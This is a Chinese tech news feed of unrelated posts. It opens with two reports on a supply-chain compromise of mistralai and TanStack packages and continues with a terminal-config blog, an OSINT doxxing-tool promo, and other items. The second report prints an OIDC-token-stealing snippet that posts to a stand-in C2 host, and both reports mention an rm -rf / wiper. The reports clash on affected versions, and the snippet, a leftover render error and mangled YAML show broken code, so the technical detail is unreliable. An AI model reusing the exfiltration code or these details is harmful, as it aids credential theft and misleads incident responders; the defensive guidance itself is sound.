HQY

警惕！mistralai PyPI 包植入恶意代码：伪装 Transformers 框架，针对 Linux 环境窃取 CI/CD 密钥，附紧急排查指南

Fri, 15 May 2026 00:55:19 +0800

软件供应链安全再次拉响警报。微软威胁情报与安全公司 Aikido 近日披露，流行的 Mistral AI Python/Node.js SDK 以及 TanStack JavaScript 生态系统中的多个 npm 包遭到入侵。这些事件被怀疑属于持续进行的 “Mini Shai-Hulud” 恶意活动的一部分，旨在通过受信任的开发工具窃取高价值凭证，并可能在特定条件下执行破坏性操作。

此次攻击不仅影响了数千万次下载量的前端基础设施，更直指当下最热门的 AI 开发领域，暴露了现代开发环境中 CI/CD 凭证、云密钥及 GitHub Token 的巨大风险。

攻击详情：伪装、潜伏与窃取

1. Mistral AI PyPI 包入侵 (Python)

受影响版本：mistralai v2.4.6
恶意行为：

注入点：mistralai/client/__init__.py。
触发机制：在 Linux 系统上导入包时自动执行。
第二阶段载荷：静默下载文件至 /tmp/transformers.pyz。注意：文件名故意模仿 Hugging Face 的 transformers 库，以混淆视听。
后台运行：启动分离的后台进程，抑制错误输出，确保持久化运行。

功能：

凭证窃取：主要目标是 GitHub PAT、npm Token、云 API 密钥及 SSH 凭证。
区域感知：包含避免在俄语系统上运行的逻辑（常见于网络犯罪团伙）。
破坏性分支：在特定地理条件下可能执行 rm -rf /，彻底摧毁文件系统。

2. TanStack & Mistral npm 包入侵 (JavaScript/TypeScript)

受影响包：

TanStack: @tanstack/react-router, @tanstack/history, @tanstack/router-core 等（周下载量数千万）。
Mistral: @mistralai/mistralai, @mistralai/mistralai-azure, @mistralai/mistralai-gcp。

攻击手法：与 TanStack 此前遭受的 OIDC 滥用攻击类似，攻击者通过 compromised 的发布流程注入恶意代码，在安装或运行时窃取环境变量中的敏感信息。

为什么开发者是高危目标？

深入探索

防病毒程序与恶意软件

脚本语言

云存储

现代开发环境已成为“金矿”：

高价值凭证集中：开发者工作站和 CI/CD 运行器通常存储着 GitHub Token、AWS/Azure/GCP 密钥、Docker 凭证等。
信任传递：一旦攻陷一个热门包，恶意代码可迅速传播至数千个下游应用和企业生产系统。
隐蔽性强：恶意代码往往在导入时静默执行，难以被常规静态扫描发现。

紧急响应指南：立即行动！

如果你或你的团队使用了任何 mistralai 或 @tanstack/* 包，请立即执行以下操作：

1. 凭证轮换（最高优先级）

在任何安装了受影响版本的系统上，立即轮换以下秘密：

GitHub Personal Access Tokens (PATs)
npm Publish Tokens
Cloud API Keys (AWS, Azure, GCP, etc.)
SSH Keys
CI/CD Secrets (GitHub Actions, GitLab CI, Jenkins, etc.)

2. 指标检测 (IOCs)

检查你的 Linux 主机是否存在以下迹象：

文件存在：/tmp/transformers.pyz, /tmp/pgmonitor.py
服务异常：pgsql-monitor.service
网络连接：阻止出站连接到已知的恶意 IP 地址（参考微软/Aikido 最新 IOC 列表）。
进程监控：查找异常的 Python 或 Node.js 子进程，特别是那些尝试连接外部非标准端口的进程。

3. 系统清理与隔离

隔离主机：将疑似感染的 Linux 服务器或开发机从网络中断开。
全面扫描：使用专业的 EDR 或恶意软件扫描工具进行深度检查。
重建环境：对于 CI/CD 运行器，建议直接销毁并重新创建，以确保彻底清除潜在后门。

4. 依赖审计

锁定版本：检查 package-lock.json 或 requirements.txt，确保未使用受感染版本。
更新包：尽快升级到官方发布的安全版本（Mistral 和 TanStack 已发布修复版）。
启用完整性校验：在 CI 中强制校验包的哈希值（integrity hash）。

长期防御策略

最小权限原则：限制 CI/CD Token 和云密钥的权限范围，仅授予必要的最小权限。
依赖审查：定期审计第三方依赖，使用软件组成分析 (SCA) 工具监控漏洞与恶意包。
网络隔离：限制开发环境和 CI 运行器的出站连接，仅允许访问必要的包 registry 和云服务端点。
多因素认证 (MFA)：为所有关键账户（GitHub, Cloud Providers, npm）启用 MFA，防止凭证泄露后的横向移动。

早报 # Mistral AI # TanStack

2026年最大跨生态供应链攻击：TanStack/Mistral AI 62个包被投毒的技术复盘与防御指南

Fri, 15 May 2026 00:30:56 +0800

一、事件概述：一场席卷全球开发者的供应链大地震

2026年5月11日，软件供应链安全领域迎来了迄今为止最具破坏性的攻击事件。黑客组织TeamPCP（又名Shai-Hulud）同时攻陷了npm和PyPI两大主流包管理平台，通过劫持知名开源项目的CI/CD流水线，成功向62个官方维护的包、404个恶意版本中植入了窃取凭证的恶意代码。

此次攻击的影响范围堪称空前：仅@tanstack/react-router一个包的周下载量就超过1200万次，加上Mistral AI官方SDK、UiPath企业RPA工具包、OpenSearch客户端等核心组件，全球受影响的项目数量保守估计超过百万个，覆盖了从个人开发者到世界500强企业的整个技术生态。

与以往简单的包名混淆攻击不同，本次攻击利用了GitHub Actions OIDC（OpenID Connect）信任链的系统性漏洞，以完全合法的身份发布了带有SLSA 3级安全签名的恶意包，成功绕过了绝大多数现有的供应链安全检测工具。这标志着软件供应链攻击已经从"投机取巧"阶段进入了"系统性突破"的新时代。

二、事件完整时间线

渲染错误: Mermaid 渲染失败: Parse error on line 6: ...版本 2026-05-10 14:00 : 恶意版本开始在全球范围内传播 ----------------------^ Expecting 'EOF', 'SPACE', 'NEWLINE', 'title', 'acc_title', 'acc_descr', 'acc_descr_multiline_value', 'section', 'period', 'event', got 'INVALID'

三、攻击技术深度解析

3.1 核心攻击链流程图

3.2 GitHub Actions OIDC机制与漏洞原理

GitHub Actions OIDC是GitHub推出的一种安全认证机制，允许工作流在不使用长期访问令牌的情况下，向外部服务（如npm、PyPI、AWS等）进行身份验证。其核心原理是：GitHub作为身份提供者（IdP），会为每个运行中的工作流签发一个短期的JWT令牌，外部服务可以验证这个令牌的真实性并授予相应的权限。

漏洞的根源在于pull_request_target事件的设计缺陷。与普通的pull_request事件不同，pull_request_target事件会在目标仓库的上下文中运行，并且拥有读取仓库机密和写入包仓库的权限。攻击者正是利用了这一点，通过提交一个包含恶意代码的PR，触发目标仓库的CI/CD流水线，从而在拥有高权限的环境中执行任意代码。

3.3 缓存投毒与令牌窃取技术细节

攻击者的恶意代码被巧妙地隐藏在一个看似无害的测试文件中。当流水线执行测试步骤时，恶意代码会被自动运行，并执行以下操作：

// 恶意代码核心片段（已脱敏）const fs = require('fs');const https = require('https');// 提取GitHub Actions OIDC令牌const oidcToken = process.env.ACTIONS_ID_TOKEN_REQUEST_TOKEN;const oidcUrl = process.env.ACTIONS_ID_TOKEN_REQUEST_URL;// 向GitHub请求完整的OIDC令牌https.get(`${oidcUrl}&audience=https://registry.npmjs.org/`, {
    headers: {
        'Authorization': `Bearer ${oidcToken}`
    }}, (res) => {
    let data = '';
    res.on('data', (chunk) => data += chunk);
    res.on('end', () => {
        const token = JSON.parse(data).value;
        
        // 将令牌发送到攻击者控制的C2服务器
        https.post('https://malicious-c2.com/collect', {
            headers: { 'Content-Type': 'application/json' },
            body: JSON.stringify({
                token: token,
                repo: process.env.GITHUB_REPOSITORY,
                run_id: process.env.GITHUB_RUN_ID
            })
        });
    });});

获取到OIDC令牌后，攻击者就可以使用npm官方的npm-cli-login工具，以完全合法的身份登录npm注册表，并发布恶意版本的包。更令人震惊的是，由于这些包是通过官方CI/CD流水线发布的，它们自动获得了SLSA 3级安全签名，这意味着绝大多数依赖扫描工具都会将其视为"安全可信"的。

3.4 恶意代码行为分析

攻击者植入的恶意代码被高度混淆，隐藏在router_init.js文件中，只有在生产环境下才会被激活。其主要行为包括：

环境检测：首先检查系统语言，如果是俄语环境则立即终止执行，这表明攻击者可能来自俄语国家或有意避开俄语地区的目标。
凭证窃取：递归扫描用户系统中的所有敏感文件，包括：

AWS/GCP/Azure的配置文件和凭证
GitHub/GitLab个人访问令牌
SSH私钥（~/.ssh/id_*）
环境变量中的API密钥和数据库密码
加密货币钱包文件

持久化机制：在用户系统中安装一个每分钟运行一次的定时任务，定期向C2服务器发送心跳包，并检查窃取的令牌是否已被撤销。如果令牌仍然有效，则继续窃取更多数据。
蠕虫化扩散：使用窃取的GitHub令牌，扫描该用户拥有访问权限的所有仓库，并尝试向这些仓库的CI/CD流水线中植入相同的恶意代码，从而实现横向扩散。

四、受影响范围与危害评估

4.1 核心受影响包清单

生态	包名	恶意版本范围	周下载量	影响程度
npm	@tanstack/react-router	5.4.0 - 5.4.2	1200万+	极高
npm	@tanstack/vue-router	5.4.0 - 5.4.2	200万+	高
npm	@tanstack/svelte-router	5.4.0 - 5.4.2	50万+	高
npm	@mistralai/mistralai	0.2.0 - 0.2.2	80万+	极高
npm	@uipath/robot	23.10.0 - 23.10.3	30万+	高
npm	@opensearch-project/opensearch	2.12.0	130万+	高
PyPI	mistralai	0.2.0 - 0.2.2	45万+	极高
PyPI	guardrails-ai	0.4.0	15万+	中

4.2 危害等级评估

极高风险：使用了上述恶意版本包的生产环境，尤其是直接暴露在公网上的服务。攻击者可能已经窃取了云服务凭证、数据库密码等核心敏感信息，导致数据泄露、服务被接管甚至勒索攻击。
高风险：使用了上述包的开发环境和CI/CD流水线。攻击者可能已经窃取了开发者的GitHub令牌和SSH私钥，从而进一步污染其他项目。
中风险：仅在本地开发环境中使用过上述包，且没有存储任何敏感凭证的用户。建议立即清理恶意包并检查系统是否存在异常。

五、官方处置与应急响应步骤

5.1 官方处置进展

截至2026年5月12日，npm和PyPI官方已经下架了所有确认的恶意版本，并将相关包标记为deprecated。TanStack、Mistral AI等受影响的组织也已经发布了安全公告和修复版本，并强制重置了所有维护者的访问令牌。

然而，由于npm和PyPI的缓存机制，部分地区的镜像站可能仍然存在恶意版本的缓存。建议开发者在更新依赖时，明确指定安全的版本号，而不是使用模糊的版本范围。

5.2 企业级应急响应清单（立即执行）

步骤1：检测并清理恶意依赖

# npm生态检测npm ls @tanstack/react-router @tanstack/vue-router @mistralai/mistralai @opensearch-project/opensearch# 如果发现恶意版本，立即卸载并安装安全版本npm uninstall @tanstack/react-routernpm install @tanstack/react-router@5.3.12 --save-exact# PyPI生态检测pip list | grep -E "mistralai|guardrails-ai"# 清理PyPI恶意包pip uninstall mistralai guardrails-ai
pip install mistralai==0.1.9 --force-reinstall

步骤2：强制轮换所有敏感凭证

这是最重要的一步。无论你是否确认受到攻击，只要在过去72小时内使用过上述任何一个包，都必须立即轮换以下所有凭证：

AWS/GCP/Azure的访问密钥和秘密访问密钥
GitHub/GitLab个人访问令牌和部署密钥
SSH私钥（特别是用于访问生产服务器的私钥）
数据库密码和API密钥
CI/CD流水线的访问令牌
加密货币钱包的私钥

步骤3：审计系统和网络活动

检查服务器的登录日志，查看是否有异常的登录记录
审计云服务的资源使用情况，查看是否有未授权的资源创建
检查网络流量，查看是否有向未知IP地址的出站连接
扫描系统中是否存在可疑的定时任务和守护进程

步骤4：加固CI/CD流水线安全

# 错误的配置（易受攻击）name: Publish Packageon:
  pull_request_target:
    branches: [main]jobs:
  publish:
    runs-on: ubuntu-latest    permissions:
      id-token: write      contents: read    steps:
      - uses: actions/checkout@v4      - run: npm ci      - run: npm test  # 这里会执行攻击者的恶意代码
      - run: npm publish --provenance

# 正确的安全配置name: Publish Packageon:
  push:
    branches: [main]
    tags: ['v*']  # 仅在打标签时发布jobs:
  publish:
    runs-on: ubuntu-latest    environment: production  # 使用受保护的环境
    permissions:
      id-token: write      contents: read    steps:
      - uses: actions/checkout@v4        with:
          persist-credentials: false  # 禁用持久化凭证
      - run: npm ci      - run: npm test      - name: Publish to npm        uses: actions/setup-node@v4        with:
          node-version: 20
          registry-url: 'https://registry.npmjs.org'
      - run: npm publish --provenance        env:
          NODE_AUTH_TOKEN: ${{ secrets.NPM_TOKEN }}

六、系统性风险暴露与前瞻性思考

6.1 SLSA安全框架的局限性

本次攻击最令人警醒的一点是，所有恶意包都带有合法的SLSA 3级安全签名。SLSA（Supply-chain Levels for Software Artifacts）是目前行业内广泛采用的软件供应链安全框架，旨在通过标准化的安全控制来防止软件篡改。

然而，本次攻击表明，SLSA只能保证"软件包在构建过程中没有被篡改"，但无法保证"构建过程本身是安全的"。如果攻击者能够劫持构建流水线，那么他们就可以生成完全符合SLSA标准的恶意软件。这意味着我们需要重新思考软件供应链安全的边界，将安全控制从"制品验证"延伸到"构建过程的全生命周期验证"。

6.2 OIDC信任链的系统性漏洞

GitHub Actions OIDC机制的设计初衷是为了提高安全性，避免使用长期访问令牌。但本次攻击暴露了OIDC信任链中一个致命的弱点：一旦身份提供者（GitHub）的运行时环境被攻破，整个信任链就会完全崩溃。

未来，我们需要建立更加细粒度的OIDC权限控制机制，例如：

限制OIDC令牌的使用范围，只能用于发布特定的包
为OIDC令牌添加更短的过期时间（如5分钟）
要求多因素认证才能发布生产版本的包
建立OIDC令牌使用的审计和异常检测系统

6.3 跨生态攻击成为新常态

本次攻击是首次同时攻陷npm和PyPI两大主流包管理平台的大规模供应链攻击。随着越来越多的项目同时使用多种编程语言和包管理工具，跨生态攻击将成为未来软件供应链攻击的主要趋势。

攻击者只需要攻破一个生态中的一个核心项目，就可以利用该项目维护者的凭证，横向污染其他生态中的项目。这要求我们建立统一的跨生态软件供应链安全标准和威胁情报共享机制。

七、未来防御体系建设建议

7.1 技术层面

采用零信任架构：默认不信任任何外部依赖，所有依赖在使用前都必须经过严格的安全扫描和人工审核。
使用私有包仓库：建立企业内部的私有包仓库，只同步经过安全验证的依赖版本。
实施依赖锁定：在项目中使用package-lock.json或poetry.lock文件，精确锁定所有依赖的版本号。
部署运行时防护：在生产环境中部署运行时应用程序保护（RASP）工具，实时检测和阻止恶意代码的执行。

7.2 流程层面

建立应急响应预案：制定详细的软件供应链攻击应急响应预案，并定期进行演练。
实施最小权限原则：严格限制CI/CD流水线和开发者的访问权限，只授予完成工作所必需的最小权限。
加强代码审查：对所有外部贡献的PR进行严格的代码审查，特别注意CI/CD配置文件和测试代码的变更。
定期安全审计：定期对项目的依赖和CI/CD流水线进行全面的安全审计。

7.3 行业层面

建立威胁情报共享机制：行业内的企业和组织应该加强合作，共享软件供应链攻击的威胁情报。
推动安全标准制定：共同推动制定更加严格的软件供应链安全标准和规范。
支持开源安全：加大对开源软件安全的投入，支持开源项目建立完善的安全保障体系。

八、总结与展望

2026年5月11日的这场供应链大地震，给全球软件行业敲响了警钟。它表明，软件供应链安全已经成为企业安全的生命线，任何一个微小的漏洞都可能引发灾难性的后果。

本次攻击也暴露了当前软件供应链安全体系中存在的诸多系统性问题，包括CI/CD流水线安全、OIDC信任链、SLSA框架的局限性等。解决这些问题需要技术、流程和行业层面的共同努力。

未来，软件供应链安全将从"可选配置"转变为"必备能力"。企业需要建立全方位、多层次的软件供应链安全防御体系，才能在日益复杂的网络安全环境中保护自己的业务和数据。

作为开发者，我们也应该提高安全意识，养成良好的安全习惯，共同守护我们赖以生存的软件生态系统。

重新尝试 WSL2 和 Windows Terminal 后感觉不错

Wed, 13 May 2026 23:15:12 +0800

重新尝试 WSL2 和 Windows Terminal 后感觉不错

就不说怎么安装了，见 https://docs.microsoft.com/en-us/windows/wsl/wsl2-install

下面的配置解决了我的几个问题：

配置字体
干掉黑框
隐藏滚动条
默认进入 $HOME 目录

            "fontFace":  "SauceCodePro Nerd Font Mono",
            "cursorShape": "filledBox",
            "padding" : "0, 0, 0, 0",
            "scrollbarState": "hidden",
            "commandline" : "wsl.exe ~",

我的完整配置如下：

// To view the default settings, hold "alt" while clicking on the "Settings" button.
// For documentation on these settings, see: https://aka.ms/terminal-documentation

{
    "$schema": "https://aka.ms/terminal-profiles-schema",

    "defaultProfile": "{c6eaf9f4-32a7-5fdc-b5cf-066e8a4b1e40}",

    "profiles":
    [
        {
            "guid": "{c6eaf9f4-32a7-5fdc-b5cf-066e8a4b1e40}",
            "hidden": false,
            "name": "Ubuntu-18.04",
            "source": "Windows.Terminal.Wsl",
            "fontFace":  "SauceCodePro Nerd Font Mono",
            "cursorShape": "filledBox",
            "padding" : "0, 0, 0, 0",
            "scrollbarState": "hidden",
            "commandline" : "wsl.exe ~",
            "snapOnInput": true
        },
        {
            // Make changes here to the powershell.exe profile
            "guid": "{61c54bbd-c2c6-5271-96e7-009a87ff44bf}",
            "name": "Windows PowerShell",
            "commandline": "powershell.exe",
            "hidden": false
        },
        {
            // Make changes here to the cmd.exe profile
            "guid": "{0caa0dad-35be-5f56-a8ff-afceeeaa6101}",
            "name": "cmd",
            "commandline": "cmd.exe",
            "hidden": false
        },
        {
            "guid": "{b453ae62-4e3d-5e58-b989-0a998ec441b8}",
            "hidden": false,
            "name": "Azure Cloud Shell",
            "source": "Windows.Terminal.Azure"
        }
    ],

    // Add custom color schemes to this array
    "schemes": [],

    // Add any keybinding overrides to this array.
    // To unbind a default keybinding, set the command to "unbound"
    "keybindings": []
}

PS： Windows Terminal 还不能用于生产工具，还存在以下问题没有解决：

光标在 Vim 里面一直是白块状态，挡住当前字符
不能输入中文
鼠标点击不能切换 tmux 窗口

更新到 0.7.3291.0 版本后可以输入中文了，但是会自动插入空格。光标在vim里可以变成竖线了，但是白块的时候还是挡住当前字符。再等他完善下吧。

期待下一个版本更新，再试试 hyper 吧，hyper 速度不错，就是遇到两个小问题：

nerd 字体显示有缺陷
tmux 不支持鼠标

缺陷特殊字体

最后又试了一下在 WSL 里装 xfce. 最终效果是这样的。

配置 xfce 参考了：

https://token2shell.com/howto/x410/xidekick/

https://www.robertmarkoski.net/wsl/nix/xfce4-on-wsl/

https://www.lainme.com/doku.php/blog/2018/07/%E5%A6%82%E4%BD%95%E4%BC%98%E9%9B%85%E7%9A%84%E5%9C%A8windows_10%E4%B8%8A%E8%A3%85x

https://github.com/QMonkey/wsl-tutorial

https://autoize.com/xfce4-desktop-environment-and-x-server-for-ubuntu-on-wsl-2/

下面是我的快捷打开terminal的相关脚本和快捷方式

wsl.zip

上面的 zip 里 vcxsrv.bat 有个 bug, 用下面这句忽略报错

@echo off

"C:\Program Files\VcXsrv\vcxsrv.exe" :0 -multiwindow -clipboard -wgl -ac -silent-dup-error

试了几个终端，都不合我意，安装个 deepin 终端：

sudo add-apt-repository ppa:leaeasy/dde
sudo apt install -y deepin-terminal

这个 deepin-terminal 版本比较低，考虑再换个新版本的试试。编译了个最新版，没看出啥区别，暂时用旧版本吧。

我又用回最新版本的 deepin-terminal 了，并修了一个 bug，使其可以使用 VcXsrv 的窗口管理控制大小。

deepin-terminal -m tiling

上面 zip 包里的 terminal.bat 就需要改成下面这个了

@echo off

start /B vcxsrv.bat
rem bash -c "source ~/.bashrc;xfce4-terminal"

bash -c "cd ~;export DISPLAY=$(grep -m 1 nameserver /etc/resolv.conf | awk '{print $2}'):0;export LIBGL_ALWAYS_INDIRECT=1;export GTK_THEME=Adapta-Nokto;export XMODIFIERS=@im=fcitx;export GTK_IM_MODULE=fcitx;export QT_IM_MODULE=fcitx;fcitx-autostart;deepin-terminal -m tiling"

2020/04/02 更新：

其实我已经放弃 deepin-terminal 这个办法了，感觉性能有问题，有卡顿的现象。而且 WLS2 和安卓模拟器冲突了，所以我就把 WSL2 卸载了。

用了一阵子的 Mintty，除了不支持标签页，其他都挺好的。

现在又换到 Windows Terminal 了，采用这个方法 microsoft/terminal#1203 (comment) 解决了 Windows Terminal 光标覆盖字符的问题，但是官方要 1.0 版本才解决这个光标的问题，自己编译了一个自己先用着，况且 1.0 版本的时间也块出来了。

输入一个用户名，3秒扒光你的全部社交账号！GitHub 2.8万星OSINT神器，让隐私裸奔

Wed, 13 May 2026 16:44:35 +0800

哥几个，最近“护网行动”又要开始了，每次排查员工账号泄露都是头疼活儿。
上回我们组排查某业务线员工账号，手工搜了一晚上也没挖出几个关联账号。结果第二天发现隔壁组用了个叫Maigret的开源工具，半小时就挖出三十多个员工的社会工程学账号，直接拿到整改报告……

这个神仙工具，就是目前在GitHub上已经狂揽2.8万星的Maigret。它唯一的输入，就是你的用户名。

你只需要在命令行敲下maigret YOUR_USERNAME，它就会自动检索3000多个网站，把你在这个世界留下的每一个“赛博马甲”全部扒出来，并整理成一份详细的“数字档案”。它还能提取页面中的真实姓名、注册时间甚至关联的第三方链接，实现从“用户名”到“人”的跨越。最重要的是，全程无需任何API密钥，且完全开源免费。

01 不止是搜索，是“顺藤摸瓜”式情报挖掘

Maigret的真正强大之处，在于超越简单搜索的“挖掘”能力。

如果它在某个网页上发现了关联的“另一个用户名”，它会自动开启递归检索，顺藤摸瓜挖出更庞大的隐藏身份网络。通过内置标签系统，你可以将搜索范围锁定在特定类别（如social）或特定区域的网站上，实现更精准、高效的定向挖掘。最终，所有数据都能导出为结构化的HTML、JSON甚至PDF报告，结果一目了然。

02 一场技术与隐私的极限拉扯

Maigret并非横空出世。它的核心代码由开发者soxoj维护，早在2020年就已开源。在刚刚过去的“五一”假期期间，Maigret日均Star增长超过1000颗，连续多日霸榜。

AI技术的介入进一步放大了这种能力。Maigret现已支持AI分析模式（--ai），能将原始数据流自动转化为简短高熵的情报摘要。当技术赋予普通人前所未有的窥探力量时，信息安全似乎也正变成一场没有硝烟的军备竞赛。

写在最后

Maigret的设计灵感来源于法国侦探小说中的神探儒勒·梅格雷——他的探案方法不是炫技，而是“理解不同人物的性格及其相互作用”。开源世界里的这个“数字神探”，同样做到了这一点。

下次睡前，不妨拿你自己的常用ID试一试——或许你会发现，你在互联网的各处角落里，早已比想象中留下了多得多的足迹。

项目信息：

项目名称：Maigret
GitHub地址：https://github.com/soxoj/maigret
当前Star：2.8万+（持续霸榜）
一句话：输入用户名，3秒扒光你的3000+社交痕迹

似乎只有外国平台国内平台无API

Web Page Maker(网页制作软件)

Wed, 13 May 2026 16:40:34 +0800

应用介绍

应用图标

基础信息

属性	-	属性	-
应用名称	Web Page Maker(网页制作软件)	应用语言	英文
应用版本	v3.22	应用类别	网页制作
应用大小	3.54M	应用授权	共享软件

应用标签

#网页编辑软件#网页制作软件

应用简介

Web Page Maker是一款超好用的可视化网页编辑工具，就算没有任何编程基础，也能零基础做出精致网页。全程只需拖拽页面元素、自由调整摆放位置，不用写代码就能独立完成网页制作，上手门槛特别低。

软件内置智能排版引擎、导航条组件和海量图像库，轻松搭建多页面站点，还能一站式管理整站内容。自带多款精美网页模板、多种样式导航条，支持自定义调控导航布局；同时集成取色器、Java Script 脚本库、图像库以及简易FTP客户端，从页面设计到网站上传都能一站式搞定。

功能特色

Web Page Maker使用教程

1、点击文件菜单，选择从模板新建站点； 2、出现模板选择对话框，在模板里，第一种是商业模板，有四种样式可以选择； 3、第二种是个人模板； 4、第三种是我的模板，右边是空的，可以自主设计； 5、我们以个人模板为例，选择第三个样式按确定，就可以打开这个模板，如图； 6、在需要修改的导航条上双击鼠标左键； 7、将输入法切换成中文，根据自己的需要进行内容填充，按OK结束； 8、然后再双击内容板块，完成内容的编辑和修改即可。 9、完成后点击【预览】按钮即可开始进行预览。 10、点击【发布】按钮即可发布网页，如果提示下方弹窗，需要添加网页FTP信息、个人资料等信息。

功能特色

这款网页编辑器完全不用具备html编码基础，也无需任何网络相关经验，采用拖拽式操作，是实打实的WYSIWYG所见即所得布局设计。既能从零搭建多页面网站并便捷管理站点，也能以WYSIWYG模式导入并编辑已有的HTML页面，还可借助CSS样式表统一控制网站文字的展示效果。

软件内置现成的网站模板，自带上百种实用功能，涵盖照片库、翻转图像、幻灯片放映、音视频、Flash视频、各类Java脚本特效、表格、表单、iFrames等常用组件。设计完成后可一键在浏览器预览成品页面，还能单点操作直接发布网站，整个建站流程简单又高效。

类似应用

Maya 2027中文版 rvc变声器 v3.27Notepad3(开源文本编辑器) v7.26.424.1免安装版快快DLL错误修复助手 v2.5.1.442龙虾ai一键部署 v1.0.0.2免安装版Rhinoceros犀牛9 v9.0.26055.12305wip开发版Helium浏览器 v0.9.3.1Tabbit浏览器 v0.28.16Qaria2下载工具 v1.37.0Adobe Character Animator 2026 v26.0.0小滴云手机电脑版 v2.2.0.0WorkBuddy（腾讯版“小龙虾“） v4.10.0.25559938

“飞行汽车没来，但Win32还活着”！微软CTO亲口承认：Win11还在靠90年代「祖传代码」撑着

Wed, 13 May 2026 16:36:05 +0800

2026 年了，很多人小时候幻想中的“未来世界”并没有真正到来。

没有满天飞的汽车，也没有普及的月球基地，但有一件事却顽强地延续了下来——30 多年前写下的 Windows 代码，至今仍在驱动着全球数亿台电脑。

最近，微软 Azure 首席技术官 Mark Russinovich 在一次采访中的表态，引发了大量开发者关注。他公开承认：今天的 Windows 11，其底层依然建立在 90 年代诞生的 Win32 API 之上，而这套东西，至今仍是 Windows 的“基石”。

这句话，让不少程序员瞬间破防：毕竟，很多人一边吐槽 Windows“祖传代码太多”，另一边却又不得不承认，微软可能真的没法摆脱它。

当年那个说“以后浏览器就是操作系统”的毛头小伙做的ie6的系统，早就随着浏览器和操作系统的进化，灰飞烟灭。但老夫在他还未懂编码时就写的win32的PB软件，仍在用户的计算机里发挥作用。

“2026 年应该有飞行汽车了，而不是 Win32”

事情起源于微软开发者官方账号发布的一段采访视频。采访中，有人问了 Russinovich 一个颇具时代感的问题：

“当年 90 年代的微软工程师是否想过，Win32 到了 2026 年仍会是 Windows 的核心 API？”

“没有人会这么想”，Russinovich 的回答相当坦率，甚至还调侃道：“我们当年想的是，到了 2026 年，人类应该已经拥有飞行汽车和月球空间站了，而不是还在讨论 Win32。”

这句话迅速在开发者社区传播开来，因为它揭开了一个很多人平时“知道但又容易忽略”的现实：如今看起来现代化的 Windows 11，其实是一个典型的“新旧混合体”。

你在开始菜单里看到的是 Fluent Design、Copilot 和 AI 功能；但当你打开控制面板、设备管理器甚至某些系统设置时，瞬间又会回到仿佛 Windows XP 甚至更早的年代。

这种“时空割裂感”，本质上就是 Windows 长期演化留下的痕迹。

为什么 Win32 到现在还没被淘汰？

对此，很多人的第一反应可能是：“既然这么老了，微软为什么不重写？”

答案非常现实：因为整个 Windows 世界，几乎都是建立在 Win32 上面的。Russinovich 在采访中直言，Win32 能活到今天，一个核心原因就是：“太多应用程序和技术生态都构建在它之上了。”

简单来说，Win32 早已不只是一个 API，而是 Windows 软件生态的“地基”。

从企业办公软件，到工业系统，再到各种第三方桌面程序，大量应用都深度依赖 Win32 的接口逻辑。几十年来，围绕它形成的开发工具、组件库、驱动体系以及软件兼容性机制，已经演化成一个庞大的生态网络。这也是 Windows 与很多现代系统最大的不同之一。

在移动互联网时代，很多平台可以通过“断代升级”来强制开发者迁移——但 Windows 不行。因为它面对的不是几百万 App，而是几十年积累下来的海量历史软件资产。尤其是企业市场，包括银行、政府、工厂、医院、航空、能源等行业，至今仍运行着大量依赖 Win32 的传统软件，很多系统甚至已经稳定运行十几年乃至几十年。

对于微软而言，“兼容性”本身就是 Windows 最核心的产品价值之一，同时也是它最大的负担。

其实，微软也尝试过“推翻重来”

事实上，微软并不是没有尝试摆脱 Win32，最典型的一次就是 Windows 8 时代推出的 WinRT。

当时，微软希望借助 WinRT 重构 Windows API 体系，建立一个更加现代化、更加统一的新平台。那几年，微软的思路非常激进：Metro UI、UWP、Windows Store、ARM 化、触控优先……整个战略都在试图“重新定义 Windows”。

但结果大家也都知道了——WinRT 最终并没有替代 Win32。

原因非常复杂，但核心问题主要有几个。首先是兼容性，大量传统桌面软件无法直接迁移，新 API 的能力又不够完整；其次是开发者生态，很多开发者发现，迁移成本远高于收益；再加上 Windows 8 本身市场反馈就不佳，最终导致微软不得不重新调整方向。

于是，一个非常有意思的局面出现了：WinRT 没能“杀死”Win32，反而自己变成了 Windows 生态中的另一个分支。后来微软又陆续推出 UWP、WinUI、Windows App SDK，但直到今天，Win32 依然是 Windows 桌面生态最核心的基础。

1996 年写的工具，2026 年反而更重要了

从工程角度来看，Windows 其实是全球最复杂的软件系统之一。它不仅仅是一个操作系统，更是一个横跨数十年的兼容性平台。

很多开发者容易低估“向后兼容”的难度。举个简单例子：某个 2003 年写的企业软件，如果今天还能在 Windows 11 上正常运行，背后意味着微软可能保留了大量旧接口、旧行为，甚至包括一些历史 Bug 的兼容逻辑——因为很多老软件，本身就是“依赖 Bug 运行”的。

而“能运行旧软件”这件事，本身就极其困难，这也是 Windows最重要的功能之一。

在采访最后，Russinovich 还提到了一个“小彩蛋”：他在 1996 年编写的一些工具，比如Sysmon和 ZoomIt，如今不仅还活着，甚至在 2026 年“比以往更加重要”。其中，Sysmon 已成为 Windows 安全体系的重要组成部分，而 ZoomIt 也早已被纳入 Microsoft PowerToys。

“旧系统迟早会被彻底重构”，这是过去十几年科技行业一直流行的一个观点。但 Windows 的存在证明：真正成功的大型系统，往往不是“推倒重来”出来的，而是在历史包袱、兼容需求和新技术之间不断妥协、演化出来的。

参考链接：https://x.com/docsmsft/status/2052089975802368301

WebToApp 任意网站。一键。一个应用。无需 IDE。无需构建服务器。无需电脑。

Wed, 13 May 2026 16:13:01 +0800

截图

功能

WebToApp 将网站、HTML 项目、媒体文件和服务端应用转换为独立 Android APK — 手机上完成，无需电脑。

支持类型：网站 / HTML / React / Vue / WordPress / Node.js / PHP / Python / Go / 图片 / 视频 / 图库 / 多网站

核心特性

一键构建 APK — 设备上直接生成可安装 APK
双浏览器引擎 — WebView + GeckoView (Firefox) 最大兼容性
扩展模块 — 10 个内置模块 + 自定义 JS/CSS 注入 + NativeBridge API
AI 辅助 — AI 驱动模块开发、图标生成、HTML 编码
安全 — APK 加密、浏览器指纹伪装、广告拦截、DNS-over-HTTPS
自定义 — 启动屏、背景音乐+歌词、主题、激活码、公告
应用修改器 — 克隆已安装应用，替换图标和名称
云服务 — 可选 Pro/Ultra：云端项目、数据分析、推送通知、远程配置

核心技术实现

深度修改 WebView 内核 — 原生级 WebView 加固：UA 清洗、X-Requested-With 移除、原型链保护、iframe 传播。WebView 与真实 Chrome 无法区分。
OAuth 应用内登录 — 30+ OAuth 提供商（Google、Facebook、GitHub、Discord、微信、支付宝、PayPal 等）通过逐提供商反检测 JS 注入直接在 WebView 内工作。Google OAuth 回退到 Chrome Custom Tab 共享 cookie 会话。
